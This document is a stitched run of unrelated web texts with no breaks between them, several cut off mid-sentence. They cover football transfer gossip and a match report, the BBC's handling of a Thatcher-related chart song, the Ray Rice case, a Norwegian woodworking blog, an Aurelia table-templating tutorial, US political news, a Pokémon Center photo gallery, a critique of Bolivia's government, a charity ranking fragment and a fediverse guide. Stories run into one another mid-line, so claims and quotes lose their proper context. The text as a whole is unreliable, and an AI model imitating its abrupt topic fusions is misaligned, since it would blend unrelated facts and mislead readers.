Other wearable tech either on the market or the horizon includes smartwatches from Samsung and Sony, with Google, Apple and Microsoft expected to join the fray soon. A Motorola spokesman said the company has no comment about the patent filing at this time.Spanish journalist Manu Sainz claims that Manchester City manager Pep Guardiola is ready to part ways with star striker Sergio Aguero as Chelsea gains momentum in landing the Argentinian hitman. The 29-year-old striker has been continuously linked with a move away from the Etihad after losing his spot in Guardiola's starting lineup and being replaced by Brazilian sensation Gabriel Jesus. Me cuentan que el Chelsea quiere al Kun Agüero. Guardiola ya habría dado el ok a la operación... — Manu Sainz (@Manu_Sainz) July 16, 2017 In his tweet, Manu Sainz says, " They tell me that Chelsea want to sign Kun Aguero. Guardiola would have already given the 'ok' to operation..." It is being rumoured that Aguero wouldn't want to play second fiddle in Guardiola's Manchester City and would look out for options if he is not promised a permanent spot in the Spanish manager's starting lineup. Sainz, who works for AS, Cadena SER and El Chiringuito TV has disclosed that former Bayern and Barcelona coach Pep Guardiola has indeed given the green light to Chelsea to sign the former Atletico Madrid man in what will be one of the most shocking transfers in this window.Time
0 at half-time, Sharp turned smartly to fire home an equaliser, with the aid of a deflection, from a corner on 55 minutes. Kieron Freeman then finished beautifully with a calm side-footed shot from 12 yards into the far corner to put Blades in front on 72 minutes. And five minutes later, Sharp completed his double by blasting home a penalty, straight down the middle, after Freeman was tripped by Marvin Johnson. It was an impressive comeback by Chris Wilder's team, after his old club Oxford had gone in front in the 22nd minute. That came when centre-half Chey Dunkley headed home Chris Maguire's powerfully driven corner at the near post while Blades defender Jake Wright was off the pitch with a head injury. Wright was unable to play on, making it an unhappy return for the 30-year-old who had made more than 270 appearances for the U's. Toni Martinez made it 3-2 with a low angled drive in stoppage time, but the play-off chasing home team had no time to draw level. Dunkley was Oxford's most threatening player, and twice went close apart from his goal, as he stabbed Johnson's cross over the bar from six yards, and later fired into the side-netting. Kane Hemmings passed up a good opportunity in a crowded six-yard box, taking too long over his shot, when the match was evenly poised. But Sheffield United ultimately showed their class as they extended their lead at the top of the table to eight points. Match report supplied by the Press Association.Get the biggest daily news stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email The BBC has said it will not play "Ding, Dong the Witch is Dead" in full during this weekend's chart show. Instead it will play a short clip of the 51 second song during the chart countdown. A short news item explaining why the song is in the charts will also be aired. The Wizard Of Oz song rocketed into the Top 40 following a Facebook campaign set up by Thatcher critics following her death. It has already claimed the top spot in the iTunes download chart. MPs had questioned whether Radio 1 should include the track on Sunday while many at the Beeb believe they should defy critics and play the track which is currently at number 3 in the Official Chart. However, today a spokesman for the corporation said: "The BBC finds this campaign distasteful but does not believe the record should be banned. "On Sunday, the Radio 1 Chart Show will contain a news item explaining why the song is in the charts, during which a short clip will be played as it has been in some of our news programmes." Speaking to Newsbeat, Radio 1 controller Ben Cooper explained: "The decision I have made is I am not going to play it in full but that I will play a clip of it in a news environment. "When I say a news environment, that is a newsreader telling you about the fact that this record has reached a certain place in the chart and here is a clip of that track. "It is a compromise and it is a difficult compromise to come to. You have very difficult and emotional arguments on both sides of the fence. "Let's not forget you also have a family that is grieving for a loved one who is yet to be buried." Video Loading Video Unavailable Click to play Tap to play The video will start in 8 Cancel Play now Radio 2 played a 15 second clip of the song on the Jeremy Vine show today before a debate on the furore surrounding the song. BBC Radio 2 DJ Paul Gambaccini says it should be played. He told BBC WM: "The Top 40 is the news of music. "It's not something to editorialise about - it's just fact. You can't change reality." Earlier he tweeted: "Of course the chart show should play it. You wouldn't not report a lead story." And Ukip leader Nigel Farage, an ardent supporter of Lady Thatcher, said: "If you suppress things then you make them popular, so play the bloody thing. "If you ban it, it will be number one for weeks. "Personally I think that the behaviour of these yobs - most of whom weren’t even born when Lady Thatcher was in power - is horrible, offensive and disgusting." Tory Therese Coffey said: “People are buying it but I think it is in rather poor taste. "It would be a mistake for the BBC to do it. It is not a case of banning it. It is a judgement call.” John Whittingdale, chair of the Culture Media and Sport select committee said the BBC should ignore the song as it is a "political act to manipulate the charts". The Tory MP said: "I hope people will not try to propel this song to the top of the charts. "It is now a lot easier to get a song to the top of the charts than it was, and this is an attempt to manipulate the charts by people trying to make a political point. "Most people will find that offensive and deeply insensitive, and for that reason it would be better if the BBC did not play it." Labour’s Gerry Sutcliffe added: “There has to be dignity in death. While I disagreed with everything she stood for, she was the PM.”Baltimore Ravens running back Ray Rice has been indicted on a charge he assaulted his fiancée in an elevator at casino in Atlantic City, N.J. Rice had been charged with simple assault after police said he knocked out Janay Palmer on Feb. 15 at the Revel Casino. But a grand jury indicted him Thursday on a more serious count of aggravated assault. It carries a three-to-five-year sentence. Palmer also had been charged with simple assault. That complaint was dismissed, prosecutors said. The couple lives in the Baltimore suburb of Reistertown. Palmer's attorney has said he's certain no crime was committed. Rice's attorney, Michael Diamondstein, says Rice denies the charge and that the couple are happy and in counseling. The Ravens issued a statement saying, “We know there is more to Ray Rice than this one incident.”There has been a while since our last post in English and I might inform new readers that our blog has a category for English posts. Some of you might have tryed to use Google translate to read our Norwegian or Swedish language posts? Then you know that there is some problems with the translation of the woodworking terminology from our Scandinavian languages to English. I frequently use the word «snikkar» that could translate to woodworker. In definite form plural i would write «snikkarane» that means the woodworkers. This was translated by Google translate to «sneaky guys» which have a very different meaning. Recently there have been an update to google translate and «snikkarane» are now translated to carpenters. Despite theese problems I do hope that you non Scandinavian readers are still with us. The term «snikkar» could be used in several different ways. It could mean a woodworker in general. It could also mean a person with certificate of apprenticeship in the sorts of woodworking that compares to both joinery and cabinetmaking as theese two woodworking diciplines are regarded as one and are both included in the term «snikkar» or «snikring». To make the confusion total, the term «snikkar» are commonly used to describe the modern day carpenter, however this should be called «tømrar» as this was the traditional Norwegian term for a carpenter. The etymolgy of the word «snikkar» might be from the low German «sniddeker» that means a person who cut (whittle) wood. We also have the term «sløyd» in Norwegian. That could mean woodworking in general and have also been used in that way. We have the modern use of this term from Swedish «slöjd» that are used as a word that could be translated to handicraft. In Norway is Eilert Sundt considered to be the first ethnologist and started to focus on craft and training in craft as an important part of the upbringing of children. This was around 1850-60 and it seems like it was a corresponding conception in the other Nordic countries. This was the basis for the introduction of sløyd as a school subject and also the Swedish school for teachers at Nääs in about 1870. This school was started by Otto Salomon with the financial support by his uncle. Otto Salomon published the important book «The teacher’s hand-book of slöjd, as practised and taught at Nääs; containing explanations and details of each exercise» in 1891. According to Wikipedia: Sloyd (Slöjd), also known as Educational sloyd, is a system of handicraft-based education started by Uno Cygnaeus in Finland in 1865. In Denmark we had a similar way of thinking that resulted in a educatonal system called Dansk Skolesløjd that was established in 1886. In Norway we had Hans Konrad Kjennerud (1837-1921) who is known to have introduced the subject sløyd in the Norwegian schools. He was educated from Nääs in 1880 and was the driving force to introduce sløyd as a subject in the education of teachers. There have been many following Kjennerud and the subject sløyd have been very important for many generations pupils since. This has also resulted in a lot of interesting litterature. When I search for litterature in the subject «snikring» I find that most of the Scandinavian books seems to be written with at theoretical focus more than practical. There are very few instructions in how to do the practical work. I believe this is because of that most of the apprentices in «snikring» had done their training in the «basic skills» in their sløyd lessons in primary school. When I read some of the older sløyd books I am suprised by the level of the work the pupils where supposed to to in primary school. I have come to that we have to search books for both «snikring» and sløyd to find information in writing about the traditional Norwegian woodworking. I have in my last post written about how the autor A. Kjenhaug explains ways of working wood in his book: Arbeidsteknikker i tresløyd. (This link might be only for Norwegian IP adressses?) A fellow woodworker and blogger, Trond Oalann, has also got interested in the early Norwegian sløyd books. He has written several blog posts of his woodworking projects based on the instructions in the four books «Sløidlære» av Hans Konrad Kjennerud and Karl Løvdal. The books where probably published in 1922. He posts about making his own horn handeled smoothing plane based on drawings and instructions from the book. He write about how to adjust the sole of your wooden plane. He write about how to flatten and dimension a board with handplanes and a lot more from theese important four books. You should follow his blog Strilamaksel to read his interesting and well illustrated posts about his work.Working with <table> tags in an Aurelia template is pretty straightforward. However, due to limitations of HTML and how the browser will parse <table> elements and their children, there is a specific pattern you must follow when building more complicated templates within a table in Aurelia. Today, we’ll master that pattern. Basic Tables Let’s say you have a list of people that you want to put into a table in an Aurelia application. Using basic templating markup works just as you’d expect. table.html <template> <table> <thead><tr> <!-- Sometimes, people are tempted to drive the fields dynamically. Unless your records are truly dynamic, I recommend using field names directly in the template as a best practice for readability and maintainability --> <th> Name </th> <th> Address </th> <th> Contact </th> </tr></thead> <tbody> <tr repeat. for= "person of people" > <td> ${person.name} </td> <td> ${person.address} </td> <td> ${person.email} </td> </tr> </tbody> </table> </template> And here’s the output: Name Address Contact Matt Davis PO Box 963, New York, NY 10108 davis.matthewjames@gmail.com Advanced Tables Now, let’s say that we’re not listing people, but contact information. That is, one person may have multiple phone numbers and email addresses. The browser expects there to be a <tbody> containing several <tr>, and nothing else. In this case, we need to use a “containerless template” or <template containerless> to handle the advanced templating logic. This will instruct Aurelia to process the template logic, and then remove the <template> tag when building the view. Here’s how that looks: table.html <template> <table> <thead><tr> <th> Name </th> <th> Address </th> <th> Contact </th> </tr></thead> <tbody> <!-- This template will generate the nested, repeated rows for each person. As always, if there are elements in the phones (or emails) array, no content will be generated from the template. --> <template repeat. for= "person of people" containerless > <tr repeat. for= "phone of person.phones" > <td> ${person.name} </td> <td> ${person.address} </td> <td> ${phone} </td> </tr> <tr repeat. for= "email of person.emails" > <td> ${person.name} </td> <td> ${person.address} </td> <td> ${email} </td> </tr> </template> </tbody> </table> </template> And here’s the output: Name Address Contact Matt Davis PO Box 963, New York, NY 10108 850 329 5553 Matt Davis PO Box 963, New York, NY 10108 davis.matthewjames@gmail.com Matt Davis PO Box 963, New York, NY 10108 davismj@foursails.co Custom Elements as Rows or Columns Finally, let’s say we have a custom element with complex, specific logic that belongs in a table. If possible, I recommend against this pattern, as I believe there are usually better ways to solve the problem directly in the view-model. If necessary, this behavior can be accomplished by using the “as-element” attribute. This will instruct aurelia to treat the element as the specified custom element, using the associated view and view model and invoking the binding lifecycle, but will put the resulting content into the original tag. This behavior can be used on any HTML tags, however we only want to use this pattern when specific tags are required by the browser, such as in the case of tables. Here is how we do it: table.html <template> <require from= "components/email-row" /> <require from= "components/phone-col" /> <table> <thead><tr> <th> Name </th> <th> Address </th> <th> Contact </th> </tr></thead> <tbody> <template repeat. for= "person of people" containerless > <tr repeat. for= "phone of person.phones" > <td> ${person.name} </td> <td> ${person.address} </td> <td as-element= "phone-col" > ${phone} </td> </tr> <tr as-element= "email-row" repeat. for= "email of person.emails" > <td> ${person.name} </td> <td> ${person.address} </td> <td> ${email} </td> </tr> </template> </tbody> </table> </template> Notes This doesn’t work in IE11 at the time of writing. There has been some talk directly from Rob about the possibility of implementing a template start and end syntax, inspired by ng-repeat-start and ng-repeat-end from Angular 1. I personally hated this syntax as it was misleading as to what was being repeated. The thread is available here: https://github.com/aurelia/html-template-element/issues/3 Aurelia Templating Basics Aurelia Templating on Github Dynamically adding row templates to a table in Aurelia – as-element0 SHARES Facebook Twitter Google Whatsapp Pinterest Print Mail Flipboard According to an analysis done by The New York Observer, ever since Lou Dobbs started discussing President Obama’s birth certificate on his CNN program, his ratings have taken a nosedive. Dobbs has lost 15% of his total viewers, and 27% of viewers in the 25-54 demographic. The Observer found that, “Mr. Dobbs’ first began reporting on Obama birth certificate conspiracy theories on the night of Wednesday, July 15. In the roughly two weeks since then, from July 15 through July 28, Mr. Dobbs’ 7 p.m. show on CNN has averaged 653,000 total viewers and 157,000 in the 25-54 demo.” This means that Dobbs’ numbers have taken a dive, “By contrast, during the first two weeks of the month (July 1 to July 14) Mr. Dobbs averaged 771,000 total viewers and 218,000 in the 25-54 demo. In other words, Mr. Dobbs’ audience has decreased 15 percent in total viewers and 27 percent in the demo since the start of the controversy.” Dobbs has also experienced a ratings drop over his quarterly numbers, “But, that said, Mr. Dobbs’ ratings over the past two weeks, during the height of the “birthers” controversy, are also down significantly compared to his overall numbers during the second quarter of 2009 when he averaged 769,000 total viewers and 222,000 in the 25-54 demo.” This means that if Dobbs was trying to juice his ratings by getting all birther, he has more than failed, he has lost audience share. You can be certain that Dobbs’ superiors at CNN have noticed the decline, and unless things reverse for him soon, the network will have all the justification that they would need to fire him. The problem that Dobbs presents for CNN is that his program is running counter to the political momentum of the country. When Dobbs moved to the fringe right, he lost 118,000 nightly viewers. The viewers that Dobbs has lost have moved to the 7 PM replay of MSNBC’s Hardball. The rerun of Chris Matthews’ program is now beating or running even with Dobbs. This should not be much of a surprise as Matthews has spent the last couple of weeks taking on the birthers. Where does all of this leave Dobbs? I think he is fine for now, but if he continues to lose viewers, CNN will replace him. The former cable news giant is struggling in primetime, and can’t afford to have a 7 PM lead in that is causing viewers to flee the network. I don’t know what possessed Dobbs to go birther, but if this decline continues, his decision might end up costing him his show. If you’re ready to read more from the unbossed and unbought Politicus team, sign up for our newsletter here! Email address: Leave this field empty if you're human:Deputy Attorney General Knew Comey Was Out Before Writing Critical Memo, Senators Say Enlarge this image toggle caption Tasos Katopodis/Getty Images Tasos Katopodis/Getty Images Deputy Attorney General Rod Rosenstein knew President Trump planned to fire FBI Director Jim Comey before he sat down to write a memo criticizing Comey's conduct. That's according to several United States senators who met with Rosenstein Thursday afternoon in a secure room in the Capitol basement. "He knew that Comey was going to be removed prior to writing his memo," Missouri Democrat Claire McCaskill told reporters after the briefing. Illinois Democrat Dick Durbin echoed McCaskill, saying Rosenstein told lawmakers that he knew of Trump's intent the day before he wrote a document that the White House initially said was the main reason Comey was dismissed. Trump undercut that timeline in an interview last week, but in a news conference on Thursday, he said he relied on Rosenstein's recommendation to make his decision. Rosenstein fielded questions in the closed session for more than an hour, but many senators left the briefing unsatisfied. "He answered a lot of questions but declined to answer a lot, as well," Durbin said. "And many of the questions he declined to answer came down to his concern of whether he might interfere with the investigation by Robert Mueller." Mueller is the man Rosenstein tapped Wednesday to head the U.S. Justice Department's investigation into whether anyone on Trump's campaign colluded with Russian operatives who sought to interfere with the 2016 presidential election. The appointment won Rosenstein wide praise from Republicans and Democrats. "The general consensus is it was a good decision to pick a special counsel," said South Carolina Republican Lindsey Graham, saying most lawmakers have "a lot of confidence in Mr. Mueller," who ran the FBI for 12 years. But Graham said that Mueller's appointment now shifts the FBI probe into a higher gear, and is likely to hamper the House and Senate intelligence committees' investigations into Russian electoral interference. "You're pretty well knocked out of the game," he said about the ongoing high-profile congressional probes, "and that's probably the way it should be." "Congress has been pretty much sidelined. Not completely, but pretty much," Graham said. His argument: Congressional interviews and hearings could inadvertently harm or complicate the criminal investigation. "If I were Mr. Mueller I would jealously guard the witness pool," Graham said. "So one of the big losers in this decision is the public," because fewer people would be likely to testify in open congressional hearings. The winners of such a shift could be congressional Republicans. That's something that, perhaps inadvertently, Graham nodded to. "We can go back to dealing with legislative matters that affect the American people." "We don't want to do anything to get in the way," said Texas Republican John Cornyn, who serves as majority whip. "That is a train wreck waiting to happen." Democrats disagree. Virginia Sen. Mark Warner, the top Democrat on the Senate Intelligence Committee, said he is determined to press forward with public hearings. "I would be very discouraged if somehow this new special prosecutor would preclude Jim Comey from testifying in public before our committee," he said. "Nothing really has changed. The scope of the investigation is still the same." Democrats — and many Republicans — had been eager to hear from Comey after reports emerged this week that Trump may have urged the then-FBI director to drop an investigation into former national security adviser Michael Flynn. "I hope you can let this go," Trump said, according to multiple Comey associates. Trump has denied the conversation took place. "The Intelligence Committee in the Senate has to continue its work, and it should continue full throttle ahead," Minority Leader Chuck Schumer said after the briefing. "And the need for former Director Comey to come testify in public soon is as great as ever."Welcome to the Fukuoka Pokemon Center! A fun aand magical Pokemon world awaits you. You should be able to get a sense of the Pokemon frenzy that goes on there from the pics. I'll try to add some titles and descriptions if I have something to say. Now just sit back and scroll down at your leisure.The first thing you'll see before you enter the Pokemon Center.Nice Reshiram and Zekrom art above some coin-op Pokemon toy dispensers.lol. Great Pikachu!Overlook of the main area in the Pokemon Center.Pikachu Stuff.Pokemon Center Checkout. Gotta buy the Pokemon goods!Really cool Pokemon earrings. They have hundreds of different Pokemon earrings!Fukuoka themed Pokemon.Gotta get your Pokemon forks and spoons!Stunfisk Baby Bib!Pokemon Picnic Mat.Pikachu Rice Bowel.I wanted to buy those plushies so bad!Piplup Event info.Rows of Pokemon players on the DS.Fun game where you can win prizes.So there you have it. A Fukuoka Pokemon Center Image Gallery. I hope you enjoyed it. Let me know if you have any questions or comments!Mikey Franklin of the District wears a custom shirt he had made at the Netroots Nation conference in Atlanta on Saturday. (Kevin D. Liles/For the Washington Post) When Sen. Elizabeth Warren (D-Mass.) mentioned President Trump during a Saturday morning speech, the more than 1,000 activists at the progressive Netroots Nation conference booed. But when she mentioned a “so-called Democratic strategist” who wanted her party to move to the center, the boos rang even louder. “Apparently, the path forward is to go back to locking up nonviolent drug offenders and ripping more holes in our economic safety net,” Warren said sarcastically, in a Saturday morning speech. “We’re not going back to the days when universal health care was something Democrats talked about on the campaign trail but were too chicken to fight for after they got elected.” Warren’s party, locked out of power in Washington and most of the country, has spent 2017 opposing Trump while also fighting about what it really stands for. Both trends were on display at Netroots, as huddles over how to block Republican bills alternated with protests of Democrats who were seen to be belittling black candidates, LGBT rights or Native Americans. [Shouting ‘trust black women,’ Netroots protesters disrupt speech from white Georgia candidate] The evidence from Atlanta suggested that Democrats might march into 2017 and 2018 elections still arguing about how to win — without dividing the party. The high-profile problems of the Democratic National Committee were part of that discussion, but the larger focus was about what progressives were building outside the party, untainted by the Democratic brand. Just as the tea party complemented the work of the Obama-era GOP, progressives want to build organizations, national and hyperlocal, to turn out voters who might be turned off by Democrats. “Ninety percent of Americans think that the Republicans put corporations ahead of American citizens, and 80 percent say that the Democratic Party does,” said Tom Steyer, whose political advocacy group NextGen America had already budgeted $8 million for 2018 election turnout operations. “For people under the age of 30, I’ve seen data on how 44 percent of them thought there was no difference between Hillary Clinton and Donald Trump on the issues. I mean, that's insane.” The 12th annual Netroots Nation conference, which was the first to immediately follow a Democratic loss in a presidential election, revealed the scope of what Barack Obama’s White House once deemed “the professional left.” The Working Families Party, which began in New York and grew across the Northeast and Midwest, announced new state chapters. Activists organized under the Indivisible handbook, a guide created by former congressional staffers with advice on how to pressure their bosses, taught short sessions on how they organized rural campaigns — some which lost, all of which would continue into 2018. MoveOn.org, fresh off organizing protests to save the Affordable Care Act from repeal, was promoting a “Resistance Summer” in which thousands of activists would talk to their neighbors about progressive politics. Our Revolution, the group founded by Sen. Bernie Sanders (I-Vt.) after his 2016 presidential bid, promoted its own “Summer of Progress” — activists getting congressional Democrats on record behind eight left-wing bills designed to ease voter registration, create universal health insurance, raise the minimum wage to $15, and reform the criminal justice system. [Obama campaign successor teams up with progressives to train full-time activists] The Democrats who came to Atlanta to meet potential supporters often had more positive things to say about the activists than about their party. Andrew Gillum, the mayor of Tallahassee now running for governor of Florida, framed his own campaign as a challenge to an establishment that seemed to specialize in losing elections. “A lot of people are hugely suspect of the organized party, and they question whether or not the will of the people will truly be felt without the influence of party poobahs,” Gillum said. “In the past, those leaders galvanized, they chose, they cleared the field, and our voters weren’t on the same page as them. The fate we suffered was 20 years of Republican leadership in Florida.” The Democratic National Committee itself had a minor presence at the conference. DNC Vice Chairman Keith Ellison, a congressman from Minnesota who lost a progressive-backed bid for chairman, was on hand to defend the party’s 2016 platform and its “Better Deal” economic policies. [Keith Ellison: ‘Irresponsible’ Trump could bring about first strike by North Korea] It was not an easy sell. At a Friday panel, Ellison visibly sighed when one activist lectured him on why she had joined the Green Party after Sanders’s defeat, and after a Native American activist said his use of the term “nation of immigrants” had been offensive. Ellison’s advice was not to defend the Democrats but to influence them from the grass roots until the party changed. “It’s not moral, and it’s not just, but it’s reality,” Ellison said. The DNC also dispatched Raffi Krikorian, the party’s new chief technological officer, who arrived this year from Uber and Twitter. He told activists that the DNC’s innovations and data would be more available than under the old regime. For some, however, the DNC was an afterthought; asked about the DNC’s data operation, Steyer of NextGen laughed and said the organization had its own, superior analytics for turning out votes. Candidates from Georgia and elsewhere, who had watched their parties collapse in the final years of the Obama presidency, often sounded a lot like Steyer. In a Politico column that ran shortly before the conference, former Sanders digital fundraising manager Michael Whitney suggested that the DNC faced a donor crisis. Despite bear-hugging the “resistance” movement, the DNC had raised just half as much money as the Republican National Committee in 2017 — $38 million to $75 million — and lagged almost as badly among donors giving less than $200 apiece. “Republicans have quietly taken a decisive edge over Democrats when it comes to small-dollar fundraising,” wrote Whitney. At Netroots, there was little worry about Democratic fundraising, apart from the structural advantage that wealthy donors earned from the 2010 Citizens United decision. The metric on which they focused: donations to individual campaigns. Randy Bryce, an ironworker running against House Speaker Paul D. Ryan (R-Wis.), said that more than 28,000 people had donated to his bid since it began in June. Georgia state Rep. Stacey Abrams, a candidate for governor, emphasized the work she had done through the New Georgia Project, a third-party group, to register voters. “Because we’ve been under Republican control for so long, we do not have the robust infrastructure that other states have,” said Abrams of the Georgia effort. “The competition existed much more acutely when we [Democrats] had more resources. We’ll come together; there are much more skirmishes than actual battles.” Not all battles were created equal. There was almost no discussion about the party’s potential candidates in the 2020 presidential election; when Warren made a reference to putting a woman in the Oval Office, the cheers of “Run, Warren, Run” were scattered and brief. At a panel on what 2017’s special elections had taught Democrats about the upcoming midterms, defeated Georgia candidate Jon Ossoff repeatedly criticized the “hot take” media culture for suggesting that arguments about policy were holding Democrats back. “Get offline and go knock on doors,” Ossoff said. “Democrats are united, no matter what you hear on cable news or in the hot takes … we don’t have to beat ourselves up over the fact that there’s a range of views and strategies. Let’s get on with it, and take back the House.” Read more at PowerPostby Many people have sung the praises of the progressive government that came to power in Bolivia in 2006. Under the leadership of Evo Morales, unionist and former coca grower who led the relatively new MAS party to a sweeping victory, the Bolivian government has instituted a far reaching expansion of welfare and social services, while putting an end to decades of rightwing and military rule. But the Left has a long history of proclaiming premature victories and shielding regimes that pay lip service to their values. And while Bolivia certainly is not hiding any gulag archipelago, there is a troubling underside to this “plurinational state” that needs to be examined before we can proclaim any revolutionary victory. With an eye to Egypt, many progressives have recently warned of the danger of seeing a popular revolution where something far more sinister is going on. The Left should also revisit its long held optimism about Morales. First of all, Bolivia’s new social programs need to be demystified. The MAS government has taken the bold yet hardly unprecedented step of withholding a small share of the hydrocarbon profits from its booming gas industry. This is indeed a step against unmitigated corporate rapaciousness, but it is not a step towards revolution. For one thing, social struggles in Bolivia had already made unmitigated corporate rapaciousness untenable before 2006. In opposition to the government of the time, they defeated major neoliberal privatization projects, first at Cochabamba and then on a nationwide scale. The MAS government has only put into policy a reality that was created by hundreds of thousands of people in direct struggle. And this policy is not even as radical as, say, the New Deal. Minus Morales’ grandiose rhetoric, it’s not even as progressive as what Norway does with its gas profits, and there’s nothing revolutionary about Norway. It’s just another capitalist country that keeps people in line with high salaries or welfare checks instead of police truncheons. The sorry lot of immigrants in that Scandinavian paradise shows that the Norwegians have not created a new society. And neither has Bolivia. As elsewhere, the social programs are used to restructure society in the interests of control. Take the money that the MAS government gives to mothers, for example. As far as public assistance goes, it’s a great form of protection, but only mothers who see Western-style doctors throughout their pregnancy and give birth in a hospital are eligible. In a country where home births, midwives, and holistic, non-commercial medicine are still viable traditions, this policy constitutes a major assault on indigenous cultures, as the indigenous feminist group Las Imillas points out. But most feminists and other would-be dissidents have been kept quiet by the most effective strategy the Morales government has deployed: integrating the social movements into the State itself. Key leaders from all the important grassroots groups have been given positions in government ministries or elected straight onto the MAS ticket. What might have been the object of their criticism has become their employer. And it’s not like the Bolivian government has avoided committing any outrages that feminists might criticize. At the end of last year, two MAS deputies assaulted two indigenous cleaning women, raping one of them, at a party in a provincial legislative assembly building and in sight of numerous other deputies. The one assault was scarcely mentioned in the media, but the rape was caught on video. While the government charged the two deputies with improper use of public office, they resisted charging them with rape for half a year, and their first move was to imprison the technician who leaked the surveillance video. The cleaning woman lost her job, while the provincial governor, also a MAS member, suggested the whole scandal had been organized by the rightwing opposition, a claim some pro-government feminists allegedly echoed. The MAS strategy to silence social movements by incorporating them into the government is not new. Journalist Rafael Uzcátegui documents, in his book Venezuela: Revolution as Spectacle, how the Chavez regime that served as a major inspiration for Morales systematically institutionalized social movements and used them to protect the government from opposition, also hoodwinking international progressive celebrities like Michael Albert to become advocates for the regime. The political movements in Bolivia and Venezuela are closer to Peronism, itself a sort of gentle fascism, than to any revolutionary socialism. The link with Peronism was explicit in Kirchner’s Argentina, but in closely allied Bolivia and Venezuela it is just as evident. The key reason why Bolivia’s MAS government cannot be considered revolutionary is because all its social programs are predicated on business-as-usual capitalist growth, whether this is the extraction of natural gas or the paving of the rainforest. They have quietly changed their much celebrated “Mother Earth” Law to allow the importation of genetically modified foods, and they have endangered the fragile altiplano ecosystem to boost their mass production of quinoa for international export. A particularly egregious case that shows the many sinister dynamics of the Morales government at work is that of the Bioceanic Highway. The highway is one of many development projects being pushed by IIRSA, the Initiative for the Integration of the Regional Infrastructure of South America, which is supported by the Inter-American Development Bank and in turn links up with NAFTA and Plan Pueblo Panama. The purpose of the highway is to link Atlantic and Pacific markets, extending from Brazil, through Bolivia, to Chile and Peru. In practical terms, the highway means an explosion in the commercialization of the South American interior and the death of the Amazon rainforest. In Bolivia, the MAS government has plotted the highway’s route right through TIPNIS, a rainforest preserve that is also the protected home of several indigenous nations. Although MAS changed Bolivia’s constitution to make it the “plurinational state” that recognizes indigenous rights, these rights have proven to be nothing but scraps of paper. They do not guarantee indigenous access to the land or recognize the land as something other than a commodity, both prerequisites for the survival of indigenous lifeways. Morales is an outspoken priest for the religion of progress, Western style, and in the face of local resistance he launched a major campaign to convince indigenous inhabitants of TIPNIS that the highway would be good for them. Without the highway, the government would not build any hospitals in the impoverished interior (encouraging traditional forms of healthcare was off the agenda). Despite the media blitz—after all the highway is supported by the Right and the Left—locals rejected the project in a major referendum. This was no setback for the democratic government of Morales, however. They announced they would simply prepare for a new referendum, much the same way the European Union just ignored the results when popular referenda in several member states vetoed the EU constitution. Referendum or no, construction on the highway is already in advanced stages in Bolivia, and huge swaths of rainforest have been paved over. With a rhetoric that is surprisingly neoliberal, Morales defends the highway on the grounds that it will create more jobs. He is protected from accusations of being just another capitalist thanks to decades of work by populists in the South American Left, who have confused anti-capitalism with anti-imperialism and substituted anti-Americanism for anti-imperialism. This substitution seemed like a convenient and accurate generalization, as US capital was the biggest force in South America for a
1%) • 243. Hadassah, the Women’s Zionist Organization of America $78,841,469 (-7.9%) • 244. Brandeis University (Waltham, Mass.) $78,172,000 (-12.6%) • 264. Birthright Israel Foundation $71,369,840 (+46.8%) • 269. American Friends of Technion-Israel Institute of Technology $69,012,794 (+1.8) • 271. Jewish Community Foundation of Los Angeles $68,575,000 (-23.0%) • 278. Jewish Community Federation of San Francisco $66,311,991 (-44.3%) • 289. Jewish Federation of Metropolitan Detroit $63,889,600 (-19.4%) • 296. The Associated: Jewish Federation of Baltimore $62,297,511 (+10.5%) • 314. Anti-Defamation League $58,963,791 (-13.6%) • 322. Federation of Jewish Communities of the CIS $55,291,282 (-13.6%) • 355. Jewish Community Federation of Cleveland 49,873,859 (-14.7%) • 362. Jewish National Fund $48,343,847 (+8.8%) • 365. Jewish Federation of Greater Los Angeles $48,053,000 (-12.4%) • 366. P.E.F. Israel Endowment Funds $47,995,288 (-35.1%) • 372. Friends of The Israel Defense Forces $46,721,080 (-21.3%)A quick guide to The Free Network Sean Tilley Blocked Unblock Follow Following Sep 23, 2017 Many newcomers to the federated web may hear of a casual reference to the fediverse, and may be curious about what that term means. A simple explanation might be that it’s a portmanteau of “federation” and “universe”, but it’s actually a little bit more complicated than that. Let’s dive into the nature of this beast, along with some of the history that comes with it. At present, there are two supernetworks in the federated social communication space, and they run on different protocols. They are known as The Fediverse, and The Federation. While both supernetworks function in similar ways and even have similar aims, they each come from a different history of development, and by extension, a different stack. The overlapping series of networks can be referred to in macro as The Free Network. 8 distinct platforms, each developed independently of one another. Hubzilla and Friendica can talk to both networks as these projects are protocol-agnostic and can be extended through plugins. What is the Fediverse? The Fediverse has historically operated as a microblogging network, and uses the OStatus protocol for servers to communicate with one another. In all, it pulls together six different platforms: GNU Social, postActiv, Pleroma, Mastodon, Friendica, and Hubzilla. The Fediverse initially was founded by a handful of servers that all ran on the StatusNet platform, which can be casually described as resembling Twitter with a special communication feature for groups. Because of its microblogging nature, posts and comments are considered the same type of object, called Statuses. StatusNet was eventually pivoted into the GNU Social project, where development has continued at a steady pace. It has been forked into the postActiv project, which aims to clean up the system’s backend and user interface. Mastodon was initially developed as a Ruby on Rails-based OStatus implementation, and can also connect to these other networks. Finally, the Pleroma project started as an alternative frontend for GNU Social, but now has its own backend written in Elixir. What is The Federation? The Federation is an interop network consisting of 278 different connected servers that communicate using the Diaspora federation protocol. This is a different communication standard from OStatus, and allows four distinct platforms to all communicate with one another: Diaspora, Friendica, Hubzilla, and Socialhome. The Federation initially started in 2010 with servers that only ran Diaspora. Structurally, Diaspora functions more like Facebook: it supports long-form content rather than short-form, and every post has a designated thread for comments. It also supports private statuses and an inbox for direct messages. In 2012, the Friendica project broke ground by reverse-engineering the Diaspora communication protocol and writing a PHP implementation library from scratch, allowing Friendica users and Diaspora users to talk to each other. This work was eventually ported over to Hubzilla, a Content Management System with Cloud Storage and identity provision capabilities. In early 2016, Jason Robinson, a former volunteer contributor to the Diaspora project, released Socialhome. Since the platform leverages Django instead of Rails, Jason had to write his own Python-based federation library from scratch. Currently, Socialhome is quite early in its own development history, with the latest release being version 0.4.0. The Future? At the moment, several projects in the space are working to adopt new supplementary protocols, with the intent of building better bridges between one another. The proposed development might end up looking like this: Diaspora at this time has no plans for new protocols, having just significantly upgraded its own. postActiv intends to adopt support for Diaspora federation in a future release. Mastodon just released support for ActivityPub, and Pleroma, Socialhome and GNU Social are thinking of adopting it. Nextcloud is also notably getting into the federation space, and Hubzilla and Friendica will likely both support the ActivityPub protocol as extensions. In time, these distinct supernetworks will likely fold into one federated supernetwork containing everybody, maximizing interoperability between nine different systems, possibly 